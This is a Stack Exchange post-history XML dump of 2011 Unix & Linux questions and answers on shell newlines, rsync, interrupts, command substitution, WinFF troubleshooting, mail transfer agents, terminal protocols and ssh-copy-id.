  <row Id="13035" PostHistoryTypeId="2" PostId="5784" RevisionGUID="e783f27e-19d4-4d22-9e6e-f8460247b160" CreationDate="2011-01-13T12:20:31.890" UserId="1946" Text="Feed it through some utility which read input in lines and output lines, like in `awk { print $0 }`." />
  <row Id="13036" PostHistoryTypeId="2" PostId="5785" RevisionGUID="8b484e52-7cf6-45cd-a2b5-57da72b72284" CreationDate="2011-01-13T12:47:19.573" UserId="3154" Text="Just run echo after it, it should generate a newline&#xD;&#xA;&#xD;&#xA;    Myprompt$ somecmd ; echo&#xD;&#xA;&#xD;&#xA;And If you need to feed it to something else, run it in a sub-shell:&#xD;&#xA;&#xD;&#xA;    Myprompt$ ( somecmd ; echo ) | someothercmd" />
  <row Id="13039" PostHistoryTypeId="5" PostId="5785" RevisionGUID="7268590d-00a2-4a70-bb37-1e1927093e5e" CreationDate="2011-01-13T12:56:24.337" UserId="3154" Comment="A word was forgotten, it has now been added." Text="Just run echo after it, it should generate a newline&#xD;&#xA;&#xD;&#xA;    Myprompt$ somecmd ; echo&#xD;&#xA;&#xD;&#xA;And If you need to feed it to something else, run it in a sub-shell:&#xD;&#xA;&#xD;&#xA;    Myprompt$ ( somecmd ; echo ) | someothercmd&#xD;&#xA;&#xD;&#xA;Or.. as @camh points out, the subshell is actually not needed you can execute it with a command list in the current shell environment with:&#xD;&#xA;&#xD;&#xA;    Myprompt$ { somecmd ; echo ; } | someothercmd" />
  <row Id="13040" PostHistoryTypeId="2" PostId="5787" RevisionGUID="2f1217cf-417f-4ad1-bfcf-0babdda1d74c" CreationDate="2011-01-13T13:05:47.157" UserId="2871" Text="Hi All,  &#xD;&#xA;&#xD;&#xA;I have a target and host setup with Linux as the OS on both. &#xD;&#xA;&#xD;&#xA;I have a root file system(`RFS`) in my target. I have a setup in which my RFS is in development state so it will undergo changes on the fly. My requirement is that, every time I make a change, I need to sync my current RFS to my target RFS. &#xD;&#xA;&#xD;&#xA;One of my colleague suggested that I can use `rsync` to attain my task.  &#xD;&#xA;&#xD;&#xA;Please shed your valuable suggestions on this idea.  &#xD;&#xA;All other ideas are also welcomed." />
  <row Id="13041" PostHistoryTypeId="1" PostId="5787" RevisionGUID="2f1217cf-417f-4ad1-bfcf-0babdda1d74c" CreationDate="2011-01-13T13:05:47.157" UserId="2871" Text="What is the scope of using rsync in sync-ing my target root file system from my host? " />
  <row Id="13042" PostHistoryTypeId="3" PostId="5787" RevisionGUID="2f1217cf-417f-4ad1-bfcf-0babdda1d74c" CreationDate="2011-01-13T13:05:47.157" UserId="2871" Text="éembeddedàérsyncà" />
  <row Id="13043" PostHistoryTypeId="5" PostId="5787" RevisionGUID="cc610540-9808-44cb-a2ba-33fa3e326d80" CreationDate="2011-01-13T13:22:41.907" UserId="2871" Comment="deleted 13 characters in body" Text="I have a target and host setup with Linux as the OS on both. &#xD;&#xA;&#xD;&#xA;I have a root file system(`RFS`) in my target. I have a setup in which my RFS is in development state so it will undergo changes on the fly. My requirement is that, every time I make a change, I need to sync my current RFS to my target RFS. &#xD;&#xA;&#xD;&#xA;One of my colleague suggested that I can use `rsync` to attain my task.  &#xD;&#xA;&#xD;&#xA;Please shed your valuable suggestions on this idea.  &#xD;&#xA;All other ideas are also welcomed." />
  <row Id="13044" PostHistoryTypeId="2" PostId="5788" RevisionGUID="e327b0ed-ee98-44d7-b328-bab25392fe27" CreationDate="2011-01-13T13:36:39.450" UserId="2871" Text="I just know that `Interrupt` is a `hardware signal assertion` caused in a processor pin. But I would like to know how Linux OS handles it.  &#xD;&#xA;What all are the things that happen when an interrupt occurs?" />
  <row Id="13045" PostHistoryTypeId="1" PostId="5788" RevisionGUID="e327b0ed-ee98-44d7-b328-bab25392fe27" CreationDate="2011-01-13T13:36:39.450" UserId="2871" Text="How is an Interrupt handled in Linux?" />
  <row Id="13046" PostHistoryTypeId="3" PostId="5788" RevisionGUID="e327b0ed-ee98-44d7-b328-bab25392fe27" CreationDate="2011-01-13T13:36:39.450" UserId="2871" Text="élinuxàéinterruptà" />
  <row Id="13047" PostHistoryTypeId="2" PostId="5789" RevisionGUID="7073454d-c446-465c-ac2d-08a76844c834" CreationDate="2011-01-13T13:42:45.437" UserId="2871" Text="I think this link about [programmatically monitoring a process memory usage][1] will be useful for you to resolve your need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxforums.org/forum/red-hat-fedora-linux/49630-how-programmatically-monitor-process-memory-usage.html" />
  <row Id="13048" PostHistoryTypeId="25" PostId="5778" RevisionGUID="6104aee0-257c-4090-aa60-6a2918bf90a3" CreationDate="2011-01-13T13:55:31.590" Comment="http://twitter.com/#!/StackUnix/status/25551518912487424" />
  <row Id="13049" PostHistoryTypeId="2" PostId="5790" RevisionGUID="df682e04-1d73-41be-86b9-9cc5e968218d" CreationDate="2011-01-13T13:56:18.700" UserId="3478" Text="I have written an script to do exactly this: [http://jeetworks.org/programs/syrupy][1].&#xD;&#xA;&#xD;&#xA;It basically samples `ps` at specific intervals, to build up a profile of a particular process. The process can be launched by the monitoring tool itself, or it can be an independent process (specified by pid or command pattern).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jeetworks.org/programs/syrupy" />
  <row Id="13050" PostHistoryTypeId="2" PostId="5791" RevisionGUID="666985ba-1537-4747-ab79-84a5b031c0a0" CreationDate="2011-01-13T14:00:03.640" UserId="2327" Text="`sar` ([System Activity Reporter](http://linux.die.net/man/1/sar)) from the [sysstat](http://sebastien.godard.pagesperso-orange.fr/) package is your friend in case like these.&#xD;&#xA;&#xD;&#xA;Another way would be monitoring combined with historical data, e.g. Munin, pnp4nagios, rrdtools, ..." />
  <row Id="13051" PostHistoryTypeId="2" PostId="5792" RevisionGUID="78afef72-084a-4f60-87ac-e2d8a99686c9" CreationDate="2011-01-13T14:09:10.763" UserId="252" Text="You could take a look at [webmin](http://webmin.com). Not sure that it allows fine-grained controls." />
  <row Id="13052" PostHistoryTypeId="2" PostId="5793" RevisionGUID="f09ac2aa-bf8d-427f-aeae-628f15dc63ff" CreationDate="2011-01-13T14:38:58.807" UserId="1383" Text="`$()` does not work with old Bourne shell. But it has been years since I worked with old Bourne shell." />
  <row Id="13053" PostHistoryTypeId="5" PostId="5782" RevisionGUID="d5997923-526b-404f-9d8d-827a0822d361" CreationDate="2011-01-13T15:04:59.583" UserId="3069" Comment="added 364 characters in body; edited body" Text="The old-style backquotes `` ` ` `` do treat backslashes and nesting a bit different. The new-style `$()` interprets everything inside the brackets as a command.&#xD;&#xA;&#xD;&#xA;    echo $(uname | $(echo cat))&#xD;&#xA;    Linux&#xD;&#xA;&#xD;&#xA;    echo `uname | `echo cat``&#xD;&#xA;    bash: command substitution: line 2: syntax error: unexpected end of file&#xD;&#xA;    echo cat&#xD;&#xA;&#xD;&#xA;works if the nested backquotes are escaped:&#xD;&#xA;&#xD;&#xA;    echo `uname | \`echo cat\``&#xD;&#xA;    Linux&#xD;&#xA;&#xD;&#xA;backslash fun:&#xD;&#xA;&#xD;&#xA;    echo $(echo '\\')&#xD;&#xA;    \\&#xD;&#xA;&#xD;&#xA;    echo `echo '\\'`&#xD;&#xA;    \&#xD;&#xA;&#xD;&#xA;The new-style `$()` applies to all [POSIX][1]-conformant shells.  &#xD;&#xA;As [mouviciel][2] pointed out, old-style `` ` ` `` might be necessary for older shells.&#xD;&#xA;&#xD;&#xA;Apart from the technical point of view, the old-style `` ` ` `` has also a visual disadvantage:&#xD;&#xA;&#xD;&#xA; - Hard to notice: ``i like $(program) better than `program` ``&#xD;&#xA; - Easily confused with a single quote: ``'`'`''`''`'`''`'``&#xD;&#xA; - Not so easy to type (maybe not even on the standard layout of the keyboard)&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&lt;sub&gt;(and SE uses `` ` ` `` for own purpose, it was a pain writing this answer :)&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_06_03&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/5778/whats-the-difference-between-stuff-and-stuff/5793#5793" />
  <row Id="13054" PostHistoryTypeId="2" PostId="5794" RevisionGUID="53d7e266-c5d6-4478-83e6-374cc486284d" CreationDate="2011-01-13T15:32:58.320" UserId="3496" Text="pacman stopped working and asked me to delete a file if &quot;another package manager isn't working&quot;. What is the file for deleting files?" />
  <row Id="13055" PostHistoryTypeId="1" PostId="5794" RevisionGUID="53d7e266-c5d6-4478-83e6-374cc486284d" CreationDate="2011-01-13T15:32:58.320" UserId="3496" Text="How to delete a file in Arch console?" />
  <row Id="13056" PostHistoryTypeId="3" PostId="5794" RevisionGUID="53d7e266-c5d6-4478-83e6-374cc486284d" CreationDate="2011-01-13T15:32:58.320" UserId="3496" Text="éarchölinuxàépacmanà" />
  <row Id="13057" PostHistoryTypeId="2" PostId="5795" RevisionGUID="4eec9ff0-521f-4c50-9b81-d6e9a402aecf" CreationDate="2011-01-13T15:36:50.683" UserId="1071" Text="You delete files with the `rm` command, e.g.:&#xD;&#xA;&#xD;&#xA;`rm /tmp/pacman.lck`&#xD;&#xA;&#xD;&#xA;I hate to be &quot;that guy&quot;, but if you don't know how to delete a file from the Linux command line, Arch is not the Linux distribution for you. Try something easier, like Ubuntu or Linux Mint first." />
  <row Id="13059" PostHistoryTypeId="5" PostId="5644" RevisionGUID="6470f386-9d1a-42f7-8ac9-aa935c3766ca" CreationDate="2011-01-13T16:03:57.327" UserId="1924" Comment="added 149 characters in body; added 20 characters in body" Text="in my WinFF (I run it by click) on linux ubuntu 10.04 when I convert files (every format into any using standard procedure) I don't get output. I mean clear bash console shows up and then I see just my shell con. I probably misconfigured (in past it was working) it but I ain't sure.I reinstalled everything but problem continues. Could you help me ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    echo -n &quot;\033]0; Converting _quot;LIKE A G6_quot; (OFFICIAL) FAR EAST MOVEMENT (FM) feat (1/1)\007&quot;&#xD;&#xA;    /usr/bin/ffmpeg -i &quot;/home/oneat/dwhelper/_quot;LIKE A G6_quot; (OFFICIAL) FAR EAST MOVEMENT (FM) feat.flv&quot; -acodec libmp3lame -vcodec msmpeg4 -ab 192kb -b 1000kb -s 640x480 -ar 44100 &quot;/home/oneat/_quot;LIKE A G6_quot; (OFFICIAL) FAR EAST MOVEMENT (FM) feat.avi&quot;&#xD;&#xA;    read -p &quot;Press Enter to Continue&quot; dumbyvar&#xD;&#xA;    rm &quot;/home/oneat/.winff/ff110111193250.sh&quot;&#xD;&#xA;&#xD;&#xA;But it's not concerned with these commands. Just output is not printed to console. Typing this code to console works fine.&#xD;&#xA;&#xD;&#xA;    -EDIT-&#xD;&#xA;    I run WinFF from my ubuntu menu.&#xD;&#xA;    I add files to convert&#xD;&#xA;    I click convert&#xD;&#xA;    Clear console appears and then apears this: oneat@oneat-desktop:~$" />
  <row Id="13060" PostHistoryTypeId="5" PostId="5644" RevisionGUID="2bdb2f58-e9b1-4b4d-bec4-a99d7e881884" CreationDate="2011-01-13T16:24:03.603" UserId="1207" Comment="major edits for readability " Text="I am using [winFF][1] in Ubuntu 10.04. WinFF is a graphical frontend to ffmpeg.&#xD;&#xA;&#xD;&#xA;Typically, after selecting a file in WinFF, setting my conversion settings and pressing the &quot;Convert&quot;, a console appears with output from the conversion process.&#xD;&#xA;&#xD;&#xA;However, now, when I press convert,  I only see a blank console with a command prompt such as:&#xD;&#xA;&#xD;&#xA;    oneat@oneat-desktop:~$&#xD;&#xA;&#xD;&#xA;I thought I had misconfigured something, but I reinstalled everything but problem continues. Could you help me ?&#xD;&#xA;&#xD;&#xA;In general console output still works, since I see output when I run the following script:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    echo -n &quot;\033]0; Converting _quot;LIKE A G6_quot; (OFFICIAL) FAR EAST MOVEMENT (FM) feat (1/1)\007&quot;&#xD;&#xA;    /usr/bin/ffmpeg -i &quot;/home/oneat/dwhelper/_quot;LIKE A G6_quot; (OFFICIAL) FAR EAST MOVEMENT (FM) feat.flv&quot; -acodec libmp3lame -vcodec msmpeg4 -ab 192kb -b 1000kb -s 640x480 -ar 44100 &quot;/home/oneat/_quot;LIKE A G6_quot; (OFFICIAL) FAR EAST MOVEMENT (FM) feat.avi&quot;&#xD;&#xA;    read -p &quot;Press Enter to Continue&quot; dumbyvar&#xD;&#xA;    rm &quot;/home/oneat/.winff/ff110111193250.sh&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://winff.org/html_new/" />
  <row Id="13061" PostHistoryTypeId="2" PostId="5796" RevisionGUID="4ac973ad-94a9-40e2-8442-97a4a363efac" CreationDate="2011-01-13T16:28:13.093" UserId="3644" Text="Core dumps are easier to read if you can associate them with a symbol table. That way a debugging tool can translate memory map addresses into mnemonics, i.e., data structures, function names, global variables and so on. The call trace above, for one, would be a lot more helpful.&#xD;&#xA;&#xD;&#xA;For a panic-induced dump, the usual way to read a core dump is to track back from the failure to a likely cause. The most likely trail to follow is the process that was executing at the point of failure. In most kernels, with the appropriate debug symbol information available, you can then step back, instruction by instruction, to find a bad value.&#xD;&#xA;&#xD;&#xA;I'm not familiar with the presentation of this output, but it looks like maybe your kernel received an interrupt in a state in which it asserted no interrupt should arrive. This kind of rule is a guard against computing on data when it doesn't appear to be safe to do so, so the kernel panics to guard against munging. Just a guess on my part, though.&#xD;&#xA;&#xD;&#xA;A lot of kernels run with all symbol information stripped to get as light as they can. It looks like you'd have to compile these values into your kernel to get more easily digestible panic output." />
  <row Id="13062" PostHistoryTypeId="2" PostId="5797" RevisionGUID="6446b719-7d5c-418e-8bb8-b5a7ee980f16" CreationDate="2011-01-13T16:29:44.237" UserId="1207" Text="I don't know anything about this software, but after quickly installing it, I get the impression it was not well packaged.  &#xD;&#xA;&#xD;&#xA;You said that you tried reinstalling the package; however, when you reinstalled it, did you also remove its configuration files?  By default in Debian, Ubuntu, and other operating system, configuration files are left behind in case you reinstall again.  I would try something like the following([as root][1]):&#xD;&#xA;&#xD;&#xA;    # apt-get purge winff&#xD;&#xA;    # apt-get update&#xD;&#xA;    # apt-get install winff&#xD;&#xA;&#xD;&#xA;From the `apt-get` manual page:&#xD;&#xA;&#xD;&#xA;&gt; purge&#xD;&#xA;&gt; &#xD;&#xA;&gt; purge is identical to remove except&#xD;&#xA;&gt; that packages are removed and purged&#xD;&#xA;&gt; (any configuration files are deleted&#xD;&#xA;&gt; too).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3063/how-do-i-run-a-command-as-the-system-administrator-root" />
  <row Id="13063" PostHistoryTypeId="5" PostId="5762" RevisionGUID="4f2a4521-f7b5-4daf-a8a5-a4239dc32036" CreationDate="2011-01-13T16:31:01.753" UserId="1535" Comment="further explanation of grand vision" Text="I'm running on UPS power and would like to prevent the laptop's battery from charging, to increase the amount of power available to other devices.  Is there a way to do this?&#xD;&#xA;&#xD;&#xA;*update*: The machine is a Dell Latitude D400.  If people want more details, just ask.&#xD;&#xA;&#xD;&#xA;Also, I'm gathering that I need to explain my desired setup a little better.  I've gotten a bunch of suggestions about taking the battery out.  I'm not sure if people are suggesting to take the battery out while the machine is running — this, as I understand, is not a good idea with most laptops — or to just remove the battery altogether.&#xD;&#xA;&#xD;&#xA;The latter option is not optimal, because ideally I'd like to use the 30-60 minutes of power in the laptop battery and then switch over to UPS power.  The details of the switch-over may constitute a separate question, but if I can't find a way to keep the laptop battery from charging, then removing the battery from the machine altogether may be the best way to do this.  I'm not sure yet if this machine will run without a battery, but I'll check that out.&#xD;&#xA;&#xD;&#xA;Other than the laptop, the UPS is just supporting a cable modem and router and a USB hub.&#xD;&#xA;&#xD;&#xA;Again in the idealized version of this setup, all the power management changes would be automated, i.e. not require replugging anything or pressing Fn-keys.  I'd like the machine to start using laptop battery power when apcupsd indicates that the UPS A/C is out, and then start using UPS power, but not charging the battery, when the battery is almost depleted." />
  <row Id="13064" PostHistoryTypeId="5" PostId="5644" RevisionGUID="b62b48b7-ba84-4888-8ae0-0eb371a78bcb" CreationDate="2011-01-13T16:31:35.250" UserId="1207" Comment="added 53 characters in body" Text="I am using [winFF][1] in Ubuntu 10.04. WinFF is a graphical frontend to ffmpeg.&#xD;&#xA;&#xD;&#xA;Typically, after selecting a file in WinFF, setting my conversion settings and pressing the &quot;Convert&quot; button, a console appears with output from the conversion process and prompts requesting permission to continue.&#xD;&#xA;&#xD;&#xA;However, now, when I press convert,  I only see a blank console with a command prompt such as:&#xD;&#xA;&#xD;&#xA;    oneat@oneat-desktop:~$&#xD;&#xA;&#xD;&#xA;I thought I had misconfigured something, but I reinstalled everything but problem continues. Could you help me ?&#xD;&#xA;&#xD;&#xA;In general console output still works, since I see output when I run the following script:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    echo -n &quot;\033]0; Converting _quot;LIKE A G6_quot; (OFFICIAL) FAR EAST MOVEMENT (FM) feat (1/1)\007&quot;&#xD;&#xA;    /usr/bin/ffmpeg -i &quot;/home/oneat/dwhelper/_quot;LIKE A G6_quot; (OFFICIAL) FAR EAST MOVEMENT (FM) feat.flv&quot; -acodec libmp3lame -vcodec msmpeg4 -ab 192kb -b 1000kb -s 640x480 -ar 44100 &quot;/home/oneat/_quot;LIKE A G6_quot; (OFFICIAL) FAR EAST MOVEMENT (FM) feat.avi&quot;&#xD;&#xA;    read -p &quot;Press Enter to Continue&quot; dumbyvar&#xD;&#xA;    rm &quot;/home/oneat/.winff/ff110111193250.sh&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://winff.org/html_new/" />
  <row Id="13065" PostHistoryTypeId="2" PostId="5798" RevisionGUID="ee38b32b-4e6d-4183-9a15-010b7d83c527" CreationDate="2011-01-13T16:36:35.550" UserId="3644" Text="A couple potential benefits. Performance is an arguable one. You'd avoid some runtime overhead associated with a dynamic loader, but I doubt that's a big deal unless you're depending on a real-time scheduler.&#xD;&#xA;&#xD;&#xA;If you're taking advantage of large pages on your system, then perhaps creating a larger static kernel image means you make more efficient use of the page descriptor cache. Some systems will 'cage' the kernel so that it packs tightly into one memory locality, which can alleviate some amount of delay due to minor, and possibly major, page faults.&#xD;&#xA;&#xD;&#xA;It might suit you, architecturally, to deliver One Big Image, arguing that fewer independent modules is easier to maintain and the loss of flexibility is not important. A lot of this kind of reasoning ventures into matters of style and practice.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13066" PostHistoryTypeId="4" PostId="5644" RevisionGUID="018f9688-7f85-4e59-939e-0288067193ac" CreationDate="2011-01-13T16:41:54.753" UserId="1207" Comment="edited tags; edited title" Text="No output produced when using winFF" />
  <row Id="13067" PostHistoryTypeId="6" PostId="5644" RevisionGUID="018f9688-7f85-4e59-939e-0288067193ac" CreationDate="2011-01-13T16:41:54.753" UserId="1207" Comment="edited tags; edited title" Text="éubuntuàéffmpegàéwinffà" />
  <row Id="13068" PostHistoryTypeId="2" PostId="5799" RevisionGUID="bb94f5c5-e2ae-4f7e-be27-eae11b7635b5" CreationDate="2011-01-13T16:53:54.097" UserId="1207" Text="An alternative to `sed` for simple things like this is `tr`:&#xD;&#xA;&#xD;&#xA;    top -p $(pidof program | tr ' ' ',')&#xD;&#xA;&#xD;&#xA;`tr` can also easily handle a variable number of spaces:&#xD;&#xA;&#xD;&#xA;    tr -s ' ' ','&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13069" PostHistoryTypeId="25" PostId="5794" RevisionGUID="58b3c570-c045-4c05-be8f-7b647ce52be3" CreationDate="2011-01-13T16:55:31.723" Comment="http://twitter.com/#!/StackUnix/status/25596818221965313" />
  <row Id="13070" PostHistoryTypeId="5" PostId="5771" RevisionGUID="4e4fc1ad-7ec2-4d89-83b1-816a71c4a855" CreationDate="2011-01-13T16:55:59.043" UserId="2881" Comment="Added google results" Text="I am looking for a minimal mail solution (MTA) for a headless server which generate e-mails for local users and and fully qualified addresses from cron-jobs, etc.&#xD;&#xA;Ideally all mails to local user `foo` should be mapped to `foo@mydomain`, with possible modifications for `uid`&lt;1024, and sent off to an external smtp server without involving `/var/mail`.&#xD;&#xA;&#xD;&#xA;Some years ago, I used [sSMTP][ssmtp] for a similar task, and I was wondering if this is still the way ahead? Also, how much of the default debian mail system should/could I remove?&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;**Update** Ended up Googling a bit, and the obvious candidates seem to be  &#xD;&#xA;&#xD;&#xA; - [sSMTP][ssmtp]: Not actively developed &#xD;&#xA; - [eSMTP][esmtp]: Not actively developed according to home page&#xD;&#xA; - [mSMTP][msmtp]: Recommended in front of sSMTP at http://www.scottro.net/qnd/qnd-ssmtp.html&#xD;&#xA; - [nullmailer][null]: Suggested by Gilles&#xD;&#xA;&#xD;&#xA;Even though [eSMTP][esmtp] is not developed anymore, it seems to have the nicest documentation. It doesn't quite fit my needs though, at it seems to insist on delivering mail to local user `foo` via a Mail Delivery Agent (MDA) instead of pushing it out over smtp to `foo@some.domain`. Or maybe it does do the mapping if I add `qualify_domain` to the config. Might have to try it out...   &#xD;&#xA;[nullmailer][null] appears to be running a queue in `/var`, which is not something I want.&#xD;&#xA;&#xD;&#xA;Does anybody have experience with any of these?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [ssmtp]: http://linux.die.net/man/8/ssmtp&#xD;&#xA;  [esmtp]: http://esmtp.sourceforge.net/&#xD;&#xA;  [msmtp]: http://linux.die.net/man/1/msmtp&#xD;&#xA;  [null]:  http://untroubled.org/nullmailer/" />
  <row Id="13071" PostHistoryTypeId="2" PostId="5800" RevisionGUID="c42416a4-e545-4349-8c0e-c5a09534af24" CreationDate="2011-01-13T17:17:26.240" UserId="2683" Text="I was wondering how the &quot;GUI&quot; of a command line application is communicated over a network. Most of the time, it's quite simple (plain text / input) but sometimes it's more complex (aptitude). &#xD;&#xA;&#xD;&#xA;Is it defined by some sort of standard so that anyone can write their own terminal and that all terminal implementations behave in the same way (colors, positioning, etc.)? " />
  <row Id="13072" PostHistoryTypeId="1" PostId="5800" RevisionGUID="c42416a4-e545-4349-8c0e-c5a09534af24" CreationDate="2011-01-13T17:17:26.240" UserId="2683" Text="What protocol/standard is used by terminals?" />
  <row Id="13073" PostHistoryTypeId="3" PostId="5800" RevisionGUID="c42416a4-e545-4349-8c0e-c5a09534af24" CreationDate="2011-01-13T17:17:26.240" UserId="2683" Text="écommandölineàéterminalàéstandardà" />
  <row Id="13074" PostHistoryTypeId="2" PostId="5801" RevisionGUID="2fe24d89-93f9-4a06-9c64-27a4942dc60d" CreationDate="2011-01-13T17:23:54.850" UserId="2683" Text="Is it possible to use ssh-copy-id once password based logins are disabled? Otherwise, is there an utility for adding an authorized public key to a user or should I edit the `~/.ssh/authorized_keys` file manually?" />
  <row Id="13075" PostHistoryTypeId="1" PostId="5801" RevisionGUID="2fe24d89-93f9-4a06-9c64-27a4942dc60d" CreationDate="2011-01-13T17:23:54.850" UserId="2683" Text="Is it possible to use ssh-copy-id once password based logins are disabled?" />
  <row Id="13076" PostHistoryTypeId="3" PostId="5801" RevisionGUID="2fe24d89-93f9-4a06-9c64-27a4942dc60d" CreationDate="2011-01-13T17:23:54.850" UserId="2683" Text="ésshàéusersà" />
  <row Id="13077" PostHistoryTypeId="2" PostId="5802" RevisionGUID="5804a8e4-d542-4c96-8e67-4965831ffcd4" CreationDate="2011-01-13T17:51:30.063" UserId="138" Text="Console programs typically use &lt;a href=&quot;http://en.wikipedia.org/wiki/Curses_(programming_library)&quot;&gt;curses&lt;/a&gt; or one of its successors to build the sorts of text user interfaces you're talking about. (There are other libraries of this sort, but it's not important to list them all here.)&#xD;&#xA;&#xD;&#xA;These libraries use one of two databases, called `termcap` and `terminfo`. (This is one of the many BSD vs. AT&amp;T differences you still find in modern Unix systems.) These databases contain maps that tell how to control the many terminal types. The vast majority of these terminal types are no longer in use. Most of them are now historical, as they didn't survive the days of &lt;a href=&quot;http://en.wikipedia.org/wiki/Computer_terminal&quot;&gt;real terminals&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;What's survived, and are used by programs like &lt;a href=&quot;http://linux.die.net/man/1/minicom&quot;&gt;`minicom`&lt;/a&gt; and GUI &quot;terminal&quot; programs like `xterm`, GNOME Terminal, the OS X Terminal, etc., are a few common standards:&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Ansi_terminal&quot;&gt;ANSI X3.64&lt;/a&gt;**: A standard for controlling &quot;glass terminals&quot; &amp;mdash; as opposed to &lt;a href=&quot;http://en.wikipedia.org/wiki/Teletype&quot;&gt;teletypes&lt;/a&gt; &amp;mdash; it is based on special sequences of characters which the remote terminal interprets. For instance, if the Unix box wants to tell the terminal to move its cursor to the upper left corner of the screen, it sends the characters `ESC` `[` `1` `;` `1` `H`. The first two characters tell the terminal to expect a control sequence, the 1s are the row and column, and `H` is the command meaning &quot;move cursor&quot;. Unix programs don't embed these &lt;a href=&quot;http://en.wikipedia.org/wiki/Escape_sequences&quot;&gt;escape sequences&lt;/a&gt;, it's all handled by the libraries mentioned above.&#xD;&#xA;&#xD;&#xA; Trivia: many early PC &lt;a href=&quot;http://en.wikipedia.org/wiki/Bulletin_board_system&quot;&gt;BBSes&lt;/a&gt; used ANSI codes, too.&#xD;&#xA;&#xD;&#xA; * **DEC &lt;a href=&quot;http://en.wikipedia.org/wiki/Vt100&quot;&gt;VT-100&lt;/a&gt;**: A variant of the ANSI terminal standard, it became a popular enough that it's still supported by most terminal programs in some variant or other. Usually what's supported is some more modern variant, the most common being VT-102, VT-220 and VT-320. Each of these later terminal types has more capabilities, so the driving factor determining which terminal types a program can emulate is how capable that program is.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://invisible-island.net/xterm/ctlseqs/ctlseqs.html&quot;&gt;xterm&lt;/a&gt;**: A kind of amalgam of ANSI and the VT-whatever standards. Whenever you're using a GUI terminal emulator like the xterm or one of its derivatives, you're usually also using the xterm terminal protocol.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Linux_terminal&quot;&gt;Linux&lt;/a&gt;**: The Linux console also uses a variant of the ANSI terminal protocol. Like xterm, it is an extended variant, with more powerful features than were available on 1980s style glass terminals.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Wyse&quot;&gt;Wyse&lt;/a&gt;**: A company, still around, that got started making glass terminals back in the minicomputer and mainframe days. Most of them were able to emulate the VT-100 and other popular terminal protocols, but they also had their own native codes. I mention it only because you still sometimes see programs that know these codes." />
  <row Id="13078" PostHistoryTypeId="5" PostId="5710" RevisionGUID="3ad85526-5718-4448-be85-5e2922ba4918" CreationDate="2011-01-13T18:01:14.683" UserId="138" Comment="removed speculation based on possible nondeterminism, since the strace doesn't actually indicate that" Text="The last few lines of that `strace` tell a fairly boring tale: `badblocks` opens the drive device, gets its size, closes it, reopens it and then goes off to do some work, which fails in some way `strace` doesn't show. You'd have to use `gdb` or similar to dig deeper.&#xD;&#xA;&#xD;&#xA;Your symptom may go away if you unmount the partition so `badblocks` has a stable thing to work on. Obviously this shouldn't be required just to do the read-only test you're attempting, but it wouldn't be the first time that some low-level uncommonly-used operation didn't work as it should.&#xD;&#xA;&#xD;&#xA;Bonus: If you unmount the partition, you can use `badblocks -n`, which is far more effective at finding and fixing disk surface problems." />
  <row Id="13079" PostHistoryTypeId="2" PostId="5803" RevisionGUID="07a71e0b-6ac8-4e89-b28b-ffd1c48c448d" CreationDate="2011-01-13T18:11:04.720" UserId="1207" Text="If you have multiple ssh keys and already have one set up for authentication on the server or if you have some other non-password authentication system in place, I believe you can use `ssh-copy-id` to copy the second ssh key to the server.  In the `ssh-copy-id` manual page it says:&#xD;&#xA;&#xD;&#xA;&gt; ssh-copy-id is a script that uses ssh&#xD;&#xA;&gt; to  log  into  a  remote  machine&#xD;&#xA;&gt; (presumably  using  a login password,&#xD;&#xA;&gt; so password authentication should be&#xD;&#xA;&gt; enabled, unless you've done some&#xD;&#xA;&gt; clever use of multiple identities)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`ssh-copy-id` uses `ssh` to log into the remote machine, so if you can currently log into the machine, you can use `ssh-copy-id`.  If you can not log into the machine, then you can not use `ssh-copy-id`.  New id's will be appended to `~/.ssh/authorized_keys`.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13080" PostHistoryTypeId="5" PostId="5797" RevisionGUID="b6324231-c990-47c0-a963-915810c305d8" CreationDate="2011-01-13T18:14:41.207" UserId="1207" Comment="deleted 3 characters in body" Text="I don't know anything about this software, but after quickly installing it, I get the impression it was not well packaged.  &#xD;&#xA;&#xD;&#xA;You said that you tried reinstalling the package; however, when you reinstalled it, did you also remove its configuration files?  By default in Debian, Ubuntu, and other distributions, configuration files are left behind in case you reinstall again.  I would try something like the following([as root][1]):&#xD;&#xA;&#xD;&#xA;    # apt-get purge winff&#xD;&#xA;    # apt-get update&#xD;&#xA;    # apt-get install winff&#xD;&#xA;&#xD;&#xA;From the `apt-get` manual page:&#xD;&#xA;&#xD;&#xA;&gt; purge&#xD;&#xA;&gt; &#xD;&#xA;&gt; purge is identical to remove except&#xD;&#xA;&gt; that packages are removed and purged&#xD;&#xA;&gt; (any configuration files are deleted&#xD;&#xA;&gt; too).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3063/how-do-i-run-a-command-as-the-system-administrator-root" />
